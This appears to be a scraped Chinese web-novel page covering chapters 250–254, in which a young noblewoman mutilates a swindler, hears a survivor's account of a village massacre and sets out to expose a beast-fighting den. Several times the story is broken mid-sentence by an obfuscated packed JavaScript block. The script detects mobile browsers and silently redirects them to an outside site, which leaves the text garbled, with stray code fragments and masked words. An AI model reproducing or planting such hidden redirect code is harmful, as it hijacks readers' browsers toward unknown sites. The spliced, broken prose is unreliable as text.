“爹没了!阿爷阿奶也没了!娘还病着呢!大哥!我和秀秀不能没有你了!不能啊!”
眼看张春回被打得九死一生,就剩了一口气,谢翊宁这才示意停云分开他们。
被扯开的徐家老大徐有福眼里还带着愤恨与不满,恨不得继续跟张春回拼命。
徐秀秀赶忙把晏逐星给的钱袋子从二哥那里拿了过来递给大哥。
“大哥,咱们有钱了,可以还债给阿娘看病了。”
这句话总算让暴怒的徐有福冷静了下来。
他看了一眼钱袋子,又看了一眼谢翊宁等人,随后抬手和妹妹比划了起来。
晏逐星一行人这才意识到,徐秀秀的大哥竟然是个哑巴。
除此之外,心细的晏逐星还发现了一件事。
第250章 人命多廉价
徐顺水和徐秀秀,一看就是一家人。
而徐家这位哑巴大哥和徐顺水兄妹俩长得并不像。
晏逐星心底有些疑惑,难不成这背后还有什么故事不成?
她压下心里的疑惑,静静看着徐秀秀和大哥沟通。
徐秀秀哽咽着快速把事情经过说了一遍,最后指着晏逐星等人解释:“是他们把那个骗子抓过来的,银子也是他们给的。”
徐有福低头看了一眼钱袋子,又抬头看看破败的家和摇摇欲坠的娘亲。他脸上挣扎了一下,忽然把银子往妹妹手里一塞,然后对着她和徐顺水,双手飞快地比划起来。
他先是指了指高氏躺着的屋子,做了一个喝药的动作,然后用力摇头,接着指向临清城的方向,脸上露出了一副决绝的表情。
晏逐星等人看得一头雾水。
徐秀秀却吓坏了。
她猛地尖叫了起来:“不行!绝对不行!你想去搏命窟?!你疯了吗?”
“搏命窟?!”徐顺水也听明白了,吓得魂飞魄散,一把抓住徐有福的胳膊。
“大哥,你找死啊!那地方是人去的吗?进去十个能活着出来一个就不错了。”
徐秀秀情绪彻底崩溃了,她死死攥着那锭救命的银子哭喊着往徐有福怀里塞:“阿娘的病是急,可这银子够抓好多药了。欠的钱咱们兄妹三个一起扛。去给人扛活、去码头卖力气、去浆洗缝补……总归有法子慢慢还上。我不许你去送死!”
她越说越怕,仿佛已经看到大哥被野兽咬得血淋淋,浑身没一块好肉的模样了。
她哭得撕心裂肺:“呜呜呜呜……大哥!你要是没了,我和二哥怎么办?到时候这个家就真的塌了,娘也活不成了啊!”
徐顺水也急了,双目猩红,梗着脖子对他大吼:“大哥你别犯浑。大不了把我卖给大户人家当长工,签死契。**银总能还上些债。”
徐有福急得满头大汗,手比划得更快更用力了。
可他越是急切地比划,徐秀秀和徐顺水就哭喊得越厉害,死死拖着他,半步也不肯让他往门口挪。
就在三人僵持不下,哭喊声、呜咽声乱成一团时。
晏逐星没忍住开口了:“搏命窟是什么?”
徐秀秀抹了把眼泪,眼里充满了恐惧。
她哑着嗓子道:“……那是临清城里达官贵人寻血腥乐子的地方,他们私下叫它血金笼。”
她之所以能知道得那么清楚,都是因为阿爹之前病重,他们到临清城里请大夫时听到了搏命窟的事情,大哥就动了进去挣银子救阿爹的念头。
阿爷阿奶知道后把他狠狠骂了一顿,他才改了主意。
如今爷奶和阿爹都不在了,大哥为了这个家,又想去赌一把了。
“据说里边就是个铁笼子搭的台子,底下人管它叫搏命窟。”徐秀秀语速很快,透着深深的厌恶和绝望。
“穷得活不下去的人,签下生死状,就能进去。进去后,会对上特意饿狠了的猛兽,和它们拼命。而那些老爷夫人们就在上头高台雅座坐着,下注赌谁能活下来,把人命当作看猴戏取乐。”
她说着,脸上血色褪尽,声音越来越低。
“进去的人,十个里头能爬出来一个都算他命大。只要能活着打完一场,不管多惨,就能拿到一笔卖命钱。”
她抬手伸出了两根手指。
谢翊宁下意识地脱口而出:“两千两?”
徐家人不约而同露出了不可思议的表情。
“怎么可能,是二十两。”徐顺水接话。
二十两?
谢翊宁沉默了。
二十两都不够他做一身衣裳,可是却能换到普通百姓的一条命。
一条命的价格,竟如此低廉。
这时,吱呀一声响,屋内那扇破旧的屋门被艰难地推开了一条缝。
被病痛折磨得只剩一把骨头的高氏,竟然强撑着摇摇晃晃地扶着门框站了起来。
她脸色蜡黄,嘴唇灰白,眼窝深陷,整个人看上去仿佛一阵风就能吹倒,看得人心头一紧。
她死死地盯着徐有福,一字一句道:“不许去。”
徐顺水和徐秀秀慌忙扑上去搀扶住她。
看着母亲这副模样,徐有福眼中的热泪再也忍不住,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005367|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滚落下来。
他“噗通”一声重重跪倒在高氏面前,双手拼命比划,喉咙里发出焦急的呜咽。
他只想让娘亲活下来。
别的什么都不想管。
高氏看着他固执的表情,眼神黯淡下来,失望透顶,又被怒火烧得浑身发抖。
她猛地吸了口气,却被剧烈的咳嗽打断,脸都憋红了,怒意更深。
“咳咳、好,行!你非要去是吧?”
她声音嘶哑,带着一股决绝的寒意。
“那你就去!从今往后……你打哪来的,就回哪去!反正我不是你亲娘……你不必听我的!”
这长长的一段话,抽干了高氏最后一丝力气。
话音未落,支撑她站立的最后一点意志也随之溃散。
她身体一软,直直地向后倒去。
若不是徐顺水和徐秀秀死死架住她的胳膊,人恐怕已摔在地上。
徐有福慌得赶紧爬起来扑过去扶住她,他眼泪糊满了整张脸,连连摇头和摆手,像是在求高氏不要赶他走。
晏逐星看着眼前这混乱而绝望的一幕,只觉得心头的火烧的越来越旺了。
张春回骗了一次,就几乎断送了徐家三条命!
如今剩下的徐家人也都被逼入绝境,徐母和徐家老大的命也要保不住了。
想到这,她猛地转身蹲到了张春回面前。
她左手用力捏住张春回的下颌,迫使他痛苦地张大了嘴。右手中掏出一把**,寒芒一闪,刀尖精准地挑入张春回的舌根。
众人眼前一花,就看见一道血线飚出。
半截猩红的断舌混合着刺目的鲜血,跌落在地,而后轻微地弹了一下。
晏逐星退后半步,没让血溅到自己身上。
她垂眸看着张春回,冷冷道:“不是舌灿莲花很会骗人么?从今往后,你这祸根也不必留了。”
她突如其来的举动如同平地惊雷,把在场的人都吓了一跳。
徐秀秀下意识地捂住了自己的嘴,惊恐地退了一小步。
而徐有福却露出了大仇得报的笑,忍不住给晏逐星鼓掌。
谢翊宁反应最快。
第251章 听到棠家村
他看向停云:“把季行舟叫来,别让他**。”
虽然这张春回死不足惜,但如今有外人看着呢,张春回不能就这么死在小恩人手里。
传出去,不好听。
听到他这话,晏逐星握着**的手指微微一紧,方才那股凌厉的杀意瞬间消散,只余下一丝难以言喻的懊恼。
她怎会如此不谨慎?
竟当着外人的面做了这样的事情。
都是这些日子跟着永安王久了,行事竟也变得这般肆无忌惮。
他在她身后,像一张无形又无所不能的网,无论她捅出什么篓子,总能被他轻描淡写地兜住、抹平。
**也好,一时兴起惹了麻烦也罢,谢翊宁总是安慰她没关系,夸赞她做得好,然后替她把事情后续料理干净。
这近乎纵容的偏袒回护像温水煮蛙,让她不知不觉就卸下了重生以来的谨慎和顾忌。
这习惯……
不好,很不好。
晏逐星在心里狠狠告诫自己。
不能继续这样下去了。
若有朝一日,谢翊宁不在她身边,失去了警惕心的她,一定会很惨。
她攥紧了拳头,懊恼地等着停云把人带来。
季行舟乃是季太医的孙儿,从小跟着他学医,这一回谢翊宁出京,原本要带着季太医,但季太医说自己老胳膊老腿走不动,便将自己的孙儿推了出来。
季行舟揉着惺忪睡眼,还没完全清醒。
睁眼就看到了血葫芦似的人影,还有地上的半截舌头……
看清眼前的场景,他倒吸一口凉气,眼睛瞪得溜圆,睡意彻底飞到了九霄云外。
就剩下半口气?
舌头还没了?
搞什么,跟着王爷出门医治的第一个病人就这么高难度。
现在调头回京换祖父来救命还来得及吗?
他瞥了一眼谢翊宁,看见他眼里的不容置喙,于是咬着牙硬着头皮蹲到了张春回面前。
他一边伸手去探张春回的颈脉一边念念有词:“不肖子孙季行舟在此,列祖列宗保佑啊,刚出门就这么大阵仗,可别让我失手了,不然丢的可是咱们老季家的脸面……”
折腾了一通,季行舟后背的汗把里衣都给浸透了。
他再次颤抖着手去探张春回的脉搏。
那脉搏极其微弱,像游丝一样,若有若无地贴在指尖,但终究还在跳。
季行舟长长舒了一口气,整个人都快虚脱了。
“七公子,属下幸不辱命,这家伙的命算是暂时保住了。”他冲谢翊宁拱了拱手。
谢翊宁:“暂时?”
季行舟凑到他身旁小声道:“您不是马上要把人扔牢里去了么,撑过那段时间,没问题。”
“皇……夫人给咱们带的药,都是上等的好药,用在他身上,浪费了。”
听到季行舟这么说,谢翊宁觉得颇有道理。
他点了点头,同意他这说法。
徐家兄妹一见季行舟竟能从阎王爷手里把张春回那口气硬拽回来,如同看到了救星。
徐秀秀快步跑到季行舟面前跪下:“神医!求求您,给我娘看看吧!”
刚刚还沉浸在救回张春回那点虚脱感里,后背的冷汗都没干,冷不丁被徐秀秀这么一跪,季行舟吓了一跳。
他赶紧往旁边跳开半步,手足无措地看向谢翊宁。
王爷没发话,他这是救还是不救啊?
“替他们看看吧。”谢翊宁开口了。
有了他的准话,季行舟走到被儿女搀扶着靠坐着的高氏面前,放软了声音:“婶子,您别怕,我给您瞧瞧。”
说着,他伸出手指,搭在高氏瘦骨嶙峋的手腕上,而后又翻了翻她的眼皮,查看了舌苔,心中渐渐有了谱。
片刻后,季行舟收回手,对着三双充满期盼的眼睛,斟酌着开口,语气比刚才轻松了些:“这位婶子性命暂时无碍。”
他这句话给焦急的徐家兄妹吃了颗定心丸。
“那我娘这是……”徐顺水急忙追问。
季行舟示意他们别太紧张:“她的病根不在肺腑恶疾,而在长久积累的内耗与忧思。”
“她身子底子太亏,积年的劳累压着,再加上家中遭了这样的变故,债台高筑,又痛失亲人,胸口那股气一直郁结不散,压得太沉了。悲伤过度,忧虑过甚,才是拖垮她的主因。”
季行舟看了一眼破
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012239|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烂的屋子和神情哀戚的兄妹,心中叹息。
他从药箱里取出纸笔,一边写方子一边继续道:“我给你们开个方子。药不贵,就是些调养的药。但最要紧的不是药,是让她安心,让她静养。不能再让她操心劳神、担惊受怕了。否则就算是灵丹妙药也没用。”
听到这话,徐秀秀瞪了大哥一眼,先前的哭腔已经变成了怒喝:
“大哥,你听到神医说的话了么,不能让阿娘担惊受怕。你若还去那搏命窟,就是想阿娘活活替你担心死。”
徐有福露出了惊骇的目光,对着比自己小好几岁的妹妹连连点头,而后又摇头比划。
见他答应不去了,徐秀秀这才松了一口气。
“多谢神医,多谢神医!”徐顺水和徐秀秀连连对他道谢。
季行舟听着这话,心底大大的满足。
你别说,跟着王爷出来一趟还是很有收获的。
在京城,哪里能听到人家喊他神医,都喊他季太医的孙子。
瞧瞧,这就是差别。
徐家的事暂告一段落,谢翊宁一行人也准备启程离开。
临上马车前,谢翊宁与晏逐星的目光在空中一碰,几乎是同时开口:
“搏命窟,看看去?”
“要不要去搏命窟看看?”
那搏命窟,他们必定要去会一会。
这临清城里的权贵们,竟是如此肆无忌惮。
连京城都不会摆在明面上的如此赤裸的食人场,他们也敢堂而皇之地开张设局,把人命当作斗兽的儿戏。
这等歪风邪气,必须遏制。
见他们想到一起去了,谢翊宁脸上露出了笑意。
不愧是他们俩,就是有默契!
谢翊宁点点头:“好,咱们就去搏命窟。”
他顿了顿,有些迟疑:“不过这样的话……棠家村那边恐怕就要耽误点时间了。”
“棠家村的事也不急于这一时,咱们还是先去搏命窟吧。”晏逐星接话。
那么多年过去了,去了棠家村恐怕也找不到多少线索。
就先让隐麟卫的人在那边查一查吧。
听到“棠家村”三个字,门口的徐有福顿时变了脸色。
第252章 当年幸存者
见晏逐星二人上了马车就要离开。
徐有福心里一团乱麻。
时隔那么多年,他还是头一回在外人口中听到“棠家村”三个字。
这两位贵人要去棠家村做什么?
是为了调查当年屠村的真相,还是去……
斩草除根?
无数混乱而可怕的念头缠紧了他的心脏,让他几乎无法呼吸。
他脑中乱成了一锅沸腾的热粥,无数疑问和猜测翻滚不息。
他到底该不该告诉他们真相?
眼见车夫已经攥紧了缰绳要离开,徐有福浑身都在不受控制地颤抖。
回想着先前晏逐星一刀割断张春回舌头的场景,他心底燃起了一抹微弱的希望。
他决定赌一把。
徐有福扑向马车,张开双手拦住了他们的去路。
驾车的停云被吓了一跳,赶忙收起了缰绳。
徐有福着急地比划起来,口中发出了小声的“呃——啊——”的声音。
停云有些疑惑地看着他:“你是有什么话要对我家公子说么?”
徐有福连连点头。
徐秀秀刚把娘亲搀扶回房间,出来就看到这一幕。
她差点没吓疯。
大哥这是在做什么,这些贵人可不是他们能得罪得起的。
她一把将徐有福扯到了身后:“大哥,你在做什么,不要耽误贵人的时间。”
徐有福飞快地比划了起来:“我有事要告诉他们,很重要。”
这时,晏逐星和谢翊宁也从马车上走了下来。
见到他们,徐有福推了一下妹妹,目带恳求,求她帮他把想说的话转达出来。
徐秀秀不知道大哥想说什么,但她还是照做了:“我大哥说有很重要的事情要告诉你们。”
一旁的徐有福连连点头。
“你想说什么?”晏逐星有些好奇。
徐秀秀看着兄长比划的手势,替他发声:“十二年前,青州,村子,死、**很多人……”
说到最后,徐秀秀吓得脸色一变。
晏逐星和谢翊宁的表情都变得严肃了起来,两人异口同声道:“你是棠家村的人?”
徐有福含泪点了点头。
晏逐星和谢翊宁对视一眼,万万没想到只是发了善心来把那八两银子送给被骗的徐家人,竟然找到了当年的幸存者。
“当初到底发生了什么?”晏逐星迫不及待地追问。
怕他不相信,晏逐星又补充道:“我也是棠家村的孩子,我想查清楚当年的真相,替棠家村的村民报仇。”
听到她这话,徐有福激动不已,他比划的动作也更加快了。
徐秀秀还愣在原地,徐有福轻轻推了她一把,她这才回过神来。
她看向晏逐星:“我大哥问你,你叫什么名字,你家里人是谁?”
“我叫棠云婋。我爹是棠家村的夫子棠风陵,我娘力气很大,是猎户。我有两个哥哥,他们是双生子。一个叫棠云麒,一个叫棠云麟。”
晏逐星每说一句话,徐有福的眼睛就亮一分。
他激动地想要上前抱住晏逐星,但听到最后,又露出了一丝疑惑的表情。
随后他仔细打量了一下晏逐星,愣了一会儿,他咧开嘴笑了,露出一副恍然大悟的模样,再一次比划了起来。
徐秀秀在一旁尽职尽责地翻译着大哥的话。
“我大哥说,是你啊,小虎妞。”
晏逐星:“……”
谢翊宁一怔,随后抿着唇死死不让自己笑出声。
这是什么称呼啊哈哈哈。
徐秀秀好奇地盯着晏逐星,原来面前的大哥哥其实是大姐姐呀。
她继续道:“大哥说他记得棠夫子,还有你的两个哥哥。因为你的两个哥哥总是抱着你去他们面前炫耀。”
“棠夫子给你取名叫婋婋,你的两个哥哥每见到一个人就要教人家你的名字怎么写,是什么意思。”
“大家记来记去,只记得叫小什么,意思是老虎的叫声。再加上你小时候哭的声音特别大,大家伙说老虎来了也会被你哭跑。所以叫你小虎妞。”
晏逐星:“……”
死去的记忆突然复活并且开始攻击她。
在永安王面前被人叫小虎妞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012240|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>嘶……
这感觉真的好羞耻。
“我相信你是棠家村的人了。”晏逐星飞快打断了徐秀秀的话,转移了话题,看向徐有福。
“那天晚上你是怎么活下来的?发生了什么你还记得吗?”
徐有福点了点头。
怎么会不记得呢,那个夜晚,他一辈子都不敢忘。
他的眼神瞬间变得黯淡了几分,比划的动作慢了下来,带上了一丝沉重。
在他的比划和徐秀秀的翻译下,众人终于知道了十二年前棠家村屠村的经过。
徐有福本名棠奇。
他的嗓子是小时候生病坏掉了,他娘很自责,**。
他爹就娶了一个后娘。
后娘带了自己的孩子过来,又给他爹生了一个儿子。
他爹对他的关心就越来越少了。
屠村**发生的那天,后娘骂了他一顿,还不给他饭吃,他气得离家出走,去了亲娘的坟前哭了好久。
他在亲娘坟前哭到了天黑,阿爹都没来找他。
往常过年过节,阿爹好歹会来坟头转一圈,那天是上元节啊!
白日不来,夜里总该想起来了吧?
他憋着一口气,想跟阿爹死磕到底。
他在坟头枯坐着,天彻底黑了,肚子饿得咕咕直叫,月亮都爬上树梢老高了,阿爹还是没来。
他终于意识到,阿爹真的不要阿娘了,现在连他也不要了。
他用力抹了把脸,攥着拳头下了决心:回家去!找阿爹当面问清楚!
可当他揉着哭肿的眼睛,跌跌撞撞快走到村口那片林子时,他猛地僵住了。
月光惨白地照着,往日熟悉的村子此刻透着说不出的邪门。
十几个穿着黑衣服的人,带着黑色的面罩,把村子里的人,无论男女老少,全都从屋里头揪了出来,像赶牲口似的集中押到了村子中央的空地上。
他们把人排成几排,一个一个地问着什么。
那场景,像是在审犯人。
隔得太远了,徐有福根本听不清一个字。
然后,他就看到了毕生的噩梦。
第253章 屠村的经过
那些黑衣人问完一个人,二话不说就动刀子,刀子从脖子上一闪而过,跪着的人就倒了下去。
他们压根就不在乎村民的性命,动作快得就像随手劈了一根柴。
老人、抱着孩子的女人、哭喊的半大孩子……
一个接一个倒在地上。
鲜血染红了村子里的土地。
他甚至看到有人提着还在襁褓里的娃娃,那小娃娃只呜咽了一声,就被冰冷的刀锋轻轻一抹,彻底没了呼吸。
月光下,那刀刃的反光刺得徐有福眼睛生疼,他全身的血液几乎都被冻住了。
他整个人蜷缩在高高的野草后面,连呼吸都屏住了。
他头一次庆幸,自己是一个哑巴。
不然,看到他们**的那一刻,他就要尖叫出声。
那么他也一定会和棠家村的村民们一样,死在那个上元节。
听着徐秀秀的转述,在场的人都攥紧了拳头。
那群畜生。
阖家团圆的日子,他们却害了一个村的人。
晏逐星无声地落下了眼泪。
“后来呢?”双鲤红着眼睛追问。
徐秀秀的声音也哽咽着:“大哥说,他等到那些人离开后,一点动静都没有了,才敢爬出去。他整个人都吓懵了,但他想着,万一还有人活着呢?于是就壮着胆子偷偷摸回了村子……”
那晚的棠家村变成了人间炼狱。
空气里充斥着浓重的血腥味,让人作呕。
徐有福几乎是淌着血水往里走。
月光冰冷地照着满地的尸体,老人、孩子、抱着婴儿的母亲没有一丝生机。
他强忍着巨大的恐惧,深一脚浅一脚地在尸体堆里翻看。
一个一个,都已经死透了。
他手脚冰凉,心一点点沉下去。
直到他看到了手指微微转动的里正爷爷。
“大哥说,里正爷爷还有一口气!”徐秀秀的声音瞬间激动了起来,但很快又被悲伤盖了过去。
“先前里正爷爷为了护住旁边一个娃娃,自己猛地扑上去挡刀,这才没被他们抹脖子。只是肚子被捅出了一个血窟窿。”
“里正爷爷当时已经是出的气多,进的气少了……”
徐秀秀的声音抖得越来越厉害,眼泪已经彻底模糊了双眼。
“他看到大哥爬到他身边,用尽了最后一点力气,才艰难地从牙缝里挤出几个断断续续的字。”
“快跑,跑得远远的……永远……别回………”
最后一个“来”字,他没说出口就彻底断了气。
“呜呜呜呜,大哥!”徐秀秀转述完里正当年的遗言,再也压抑不住翻涌的心疼和恐惧,一把死死抱住了徐有福的腰,哭得撕心裂肺。
这个沉默的大哥,从她一出生就在,是她最坚实的依靠。
小时候她有些好奇,为什么大哥和家里的人长得一点也不像。
后来她忍不住问了阿娘。
阿娘说当年她和爹爹领着二哥出门赶集时,发现大哥孤身倒在路上,差点被冻死,脚都磨破了,也不知道是打哪来的。
他们于心不忍,就把大哥捡回家了。
阿娘说,不管是不是亲生的,既然是一家人,就要好好把大哥当做亲骨肉一样对待。
大哥当年大难不死,就是天赐的福气。
老天爷狠心把别的都夺走了,却给他留了这条命,这不是有福气是什么?
所以特意给大哥取名叫有福。
就盼着这福气生根发芽,盼着往后病痛灾厄统统绕道走,他一日一日,安安稳稳地活。
盼着他这辈子啊……
苦尽了,剩下的,都是福!
她一边哭一边抽噎,搂着大哥的腰越抱越紧。
她从不知道,大哥竟然还有这样悲惨的过去。
晏逐星看着沉默的徐有福,一时间不知道该如何开口。
算算年纪,当年的徐有福也就和她大哥年纪差不多。
他是怎么孤身一人从青州逃到临清的。
青州到临清,骑马都要三四天,走路至少要十天往上。
他一个七八岁的孩子,究竟是怎么做到的?
好在老天爷给了他一次新生的机会,让善良的徐守田夫妇收养了他。
只可惜,这么好的家人却被一个骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012241|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子给毁了!
晏逐星心底的躁意和怒意又浮了起来。
但她没忘了最重要的事情,她深吸一口气,继续问徐有福。
“他们只杀了人,村子里的东西都没带走么?”
徐有福推开妹妹,替她擦掉眼泪,让她继续帮自己发声。
徐秀秀抽抽噎噎道:“大哥说,那些人什么东西都没拿,审完杀完人,就都走了。”
“应是某个权贵豢养的暗卫或是重金聘请的专业**。”谢翊宁忽然开口。
晏逐星也赞同他的分析。
那些人**的动作太过干脆利索,也足够冷漠。
秦王妃究竟得罪了什么人,才会让那群人追到了她的一点踪迹,就这样死咬着不放。
宁可错杀一万,也不放过一千。
“你还记得当年他们有没有什么统一的,特殊的标记么?”晏逐星不死心地继续问。
如今的线索太少了。
她还以为有了徐有福的证词,他们就能找到真相了。
如今看来,还是很难。
徐有福摇了摇头,徐秀秀接话:“大哥说他们裹得都很严实,通体都是黑色,看不出什么来。”
晏逐星顿时有些泄气。
好不容易找到了幸存者,难道线索就这样断了么。
“不必着急,隐麟卫已经去了青州。”谢翊宁看出了她的焦急,出声安慰。
“一个村子一百多口人一夜尽殁,如此滔天大案,纵使有人以天灾匪乱为由遮掩混淆,也必定会留下抹不去的痕迹。”
“案卷或许失真,但经办之人、处理之手笔、乃至后续的遮掩动向……只要有人曾参与其中,必定留下线索。”
“而隐麟卫最擅长的就是循着这些细微端倪,抽丝剥茧。真相,迟早会大白。”
听着他淡定的语气,晏逐星心里的那团焦躁的郁气如同被无形的手抚过,奇异地消散了。
她紧绷的肩背也随之放松。
也是,急也没用。
饭要一口一口吃,案子当然也要一点一点查。
总有一天,他们会将那藏在幕后的**凶手给揪出来。
第254章 愿者上钩呗
晏逐星让九栀取来三百两银票,给了徐家人。
徐家人连连推拒,表示不能收。
晏逐星却强硬地塞到了徐有福手里。
“这是给棠家村孩子的,你必须收下。”
之前在秦王妃留下的宅子里找到了三万六千两白银,她棠家村那夜**一百三十八口人,这笔银子若是均分,一人能分到二百六十多两银子。
如今其他人都不在了,晏逐星决定抽出其中的三百两给徐有福。
徐家需要这笔银子。
但太多银子他们孤儿寡母守不住,反而招祸。
这三百两不多不少。
够他们盖几间结实的新房,也足够将来高氏养老,徐有福、徐顺水娶媳妇,以及给置办徐秀秀出嫁的嫁妆了。
临走时,谢翊宁一行人带上了徐顺水。
高氏身子骨弱,徐有福说不出话,徐秀秀年纪太小,要状告张春回谋财害命,苦主只能是徐顺水了。
停云熟门熟路地领着徐顺水去官府递上状纸,告张春回欺诈敛财、逼人借贷致人家破人亡。
公堂之上,衙役把没了半条命、舌头被割的张春回拖了上来。
他满身血污狼狈不堪,嘴里塞着止血的布团,想辩解一个字都发不出,只能呜呜嘶吼。
证据清晰,加上苦主徐顺水指证,人证物证俱全。
临清知州一看这架势,再看张春回连句囫囵话都说不了,一副快断气的模样,不想多纠缠,生怕沾上人命官司的晦气,只想速速结案。
于是当堂便判了张春回的罪。
签字画押时,张春回的手软得握不住笔,被衙役拽着手腕,强行在供状上按了手印。
官司了结得很快,透着几分粗暴利落。
张春回最终连句为自己开脱的“冤枉”都喊不出,便已啷当入狱。
徐顺水走出衙门的时候都不敢相信,害死自己家里人的庸医骗子,竟然真的被他亲手送去了监狱。
停云又领着他去抓了季行舟给他娘开的药,而后领着他大包小包的买了许多东西,这才命人把他送回了徐家村,然后找王爷和县主去了。
谢翊宁与晏逐星并未现身公堂,他们去了临清城里最气派的酒楼——万帆楼。
据徐有福所言,那搏命窟就藏在万帆楼底下。
每个月十五举办一次斗兽。
他们来得巧,今日正好是十五。
只不过外来人想进搏命窟,没那么容易,得有熟悉门路的“引路人”才成。
于是谢翊宁和晏逐星没要雅间,特意选了大堂一处视野开阔、临水靠窗的散座。
两人对视一眼,心照不宣地落座。
一坐下,谢翊宁便开口:“把你们这所有的菜都上一遍。”
“客官您说什么?”店小二一愣,差点以为自己听错了。
晏逐星有些不解,但没有当着店小二的面反驳。
她坐到了谢翊宁身边,压低声音道:“咱们没必要点那么多吧。毕竟咱们来的目的也不是为了吃饭。”
没想到谢翊宁却理直气壮道:“来都来了,这些京城里没吃过的东西当然该好好尝尝。若是好吃,回京时。带你爹娘和兄长也来试试。”
而后他也压低了声音:“再说了,咱们这叫愿者上钩。等一个有缘人,来做我们的引路人。”
晏逐星便说不出反对的话来了。
他们人生地不熟,只能用这样的办法“钓鱼”了。
“你没听错,你们酒楼所有的菜式。都我们上一份。”谢翊宁抬头看向店小二,随后掏出一锭金子放到了桌面上。
店小二立刻露出了灿烂的笑脸,赶忙道:“好,小的这就去准备。”
趁着他们上菜的功夫,晏逐星顺着窗口望了出去。
码头上货物堆积如山,丝绸、瓷器、香料……仿佛整个天下的财富都在此流转汇聚。
这临清城,可真是个富贵窝啊。
城中街市喧嚣鼎沸,富商巨贾的车马随处可见,酒楼茶肆的金字招牌晃得人眼花。
当地总制司船税商税收到手软,可谓日进斗金。这些人已经被金山银山迷花了眼,寻常的歌舞酒肉、赌坊青楼,早已满足不了他们。
他们需要更新鲜、更刺激的乐子。
所以才会有搏命窟的存在。
毕竟金子太多了,命就显得贱了。
晏逐星眉心拧得更紧了。
没过多久,店小二就麻利地将他们点的酒菜送了上来,动作行云流水。
“热切托板豆腐来喽——!”
店小二拖长调子唱了一声,放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017443|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个热气腾腾的木板,上面整齐码着刚揭下来的白嫩滚烫的豆腐片。
旁配一小碟浓稠琥珀色的本地特产酱醋腌韭花,香气扑鼻。
紧接着又上了一尾酱焖大鳜鱼。
新鲜大鳜鱼卧在盘里,周身裹着浓郁的酱汁,酱色油亮深沉,鱼肉白嫩紧实,热气腾腾间酱香混合着鱼鲜味直往人鼻子里钻。
没过多久,小二又端来了一盘壳红肉嫩的爆炒河虾。虾壳酥脆,看着就让人食欲大开。
除此之外,还上了许多本地特色的小吃和菜肴。
眨眼的功夫,这张临窗的桌子便被堆得满满当当。
盘子碟子碗盏层层叠叠,几乎没留下一点空隙放酒壶。
这分量,这排场,在大堂散座区出现,直接吸引了在场的所有人。
众人不由放下筷子,窃窃私语,眼神里充满了惊愕与不解。
寻常坐在楼下大堂的客人,哪有人会这般不划算地点满一桌子吃食?
大多是要几碟下酒小菜、一碗汤饼米面足矣。
可眼前这两位看似年轻的富家公子出手竟如此阔绰。
他们到底是什么来头?
谢翊宁对周围飘过来的目光熟视无睹,亲自给晏逐星倒酒:“来,尝尝这槽子酒,听说是他们本地一种用运河边产的大米酿制的米酒,度数不高,微甜带点米香,入口温顺熨帖。应该很适合你。”
“客官说得太对了,这就是咱们临清特有的酒,出了临清,您可就喝不到这么正宗的槽子酒了。”店小二笑呵呵地搭话。
晏逐星小小地抿了一口,眼前一亮。
“好喝。”
两人没有多说什么,就像普通食客一般仔细品尝着美食。
吃到半饱,发现酒楼里来了几个衣着光鲜亮丽的男人。
她轻晃手中酒杯看向谢翊宁,目光刻意露出了一丝不耐烦,拔高了音调:“七哥,这酒是好酒,景也是好景,只是未免太平淡了些。这临清城号称金窝窝,总该有点不一样的乐子吧?”
